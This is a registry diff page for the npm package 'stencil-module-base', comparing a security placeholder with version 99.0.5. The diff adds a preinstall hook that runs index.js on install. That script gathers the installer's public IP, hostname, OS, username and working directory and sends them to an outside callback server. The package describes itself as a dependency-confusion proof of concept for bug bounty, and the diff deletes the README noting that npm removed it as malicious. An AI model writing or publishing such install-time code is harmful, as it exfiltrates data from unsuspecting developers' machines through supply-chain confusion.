stencil-module-base 0.0.1-security → 99.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of stencil-module-base might be problematic. Click here for more details.
- package/index.js +53 -0
- package/package.json +11 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
function getWhoami() {
|
|
6
|
+
try {
|
|
7
|
+
return execSync('whoami').toString().trim(); // Works on both Windows/Linux
|
|
8
|
+
} catch {
|
|
9
|
+
return process.env.USER || process.env.USERNAME || 'unknown';
|
|
10
|
+
}
|
|
11
|
+
}
|
|
12
|
+
|
|
13
|
+
function getIPAddress() {
|
|
14
|
+
try {
|
|
15
|
+
return execSync('curl -s ifconfig.me || wget -qO- ifconfig.me').toString().trim();
|
|
16
|
+
} catch {
|
|
17
|
+
const interfaces = os.networkInterfaces();
|
|
18
|
+
for (const name of Object.keys(interfaces)) {
|
|
19
|
+
for (const iface of interfaces[name]) {
|
|
20
|
+
if (iface.family === 'IPv4' && !iface.internal) {
|
|
21
|
+
return iface.address;
|
|
22
|
+
}
|
|
23
|
+
}
|
|
24
|
+
}
|
|
25
|
+
return 'unknown';
|
|
26
|
+
}
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
function sendCallback(data) {
|
|
30
|
+
const url = `https://callback-server-ui1o.onrender.com/callback?data=${encodeURIComponent(JSON.stringify(data))}`;
|
|
31
|
+
console.log('📦 Sending callback to:', url);
|
|
32
|
+
https.get(url, res => {
|
|
33
|
+
console.log('✅ Callback sent:', res.statusCode);
|
|
34
|
+
}).on('error', e => {
|
|
35
|
+
console.error('❌ Callback error:', e.message);
|
|
36
|
+
});
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
try {
|
|
40
|
+
const data = {
|
|
41
|
+
ip: getIPAddress(), // External/Public IP
|
|
42
|
+
hostname: os.hostname(), // Hostname
|
|
43
|
+
os: `${os.type()} ${os.platform()} ${os.release()}`, // OS version
|
|
44
|
+
whoami: getWhoami(), // whoami command output
|
|
45
|
+
cwd: process.cwd(), // Current working directory
|
|
46
|
+
timestamp: new Date().toISOString() // Timestamp
|
|
47
|
+
};
|
|
48
|
+
|
|
49
|
+
console.log('🟡 Collected System Info:', data);
|
|
50
|
+
sendCallback(data);
|
|
51
|
+
} catch (err) {
|
|
52
|
+
sendCallback({ error: err.message, timestamp: new Date().toISOString() });
|
|
53
|
+
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,14 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "stencil-module-base",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "99.0.5",
|
|
4
|
+
"description": "Dependency confusion PoC for bug bounty",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"preinstall": "node index.js"
|
|
7
|
+
},
|
|
8
|
+
"keywords": [
|
|
9
|
+
"poc",
|
|
10
|
+
"dependency-confusion"
|
|
11
|
+
],
|
|
12
|
+
"author": "hiddnsec7777",
|
|
13
|
+
"license": "MIT"
|
|
6
14
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=stencil-module-base for more information.
|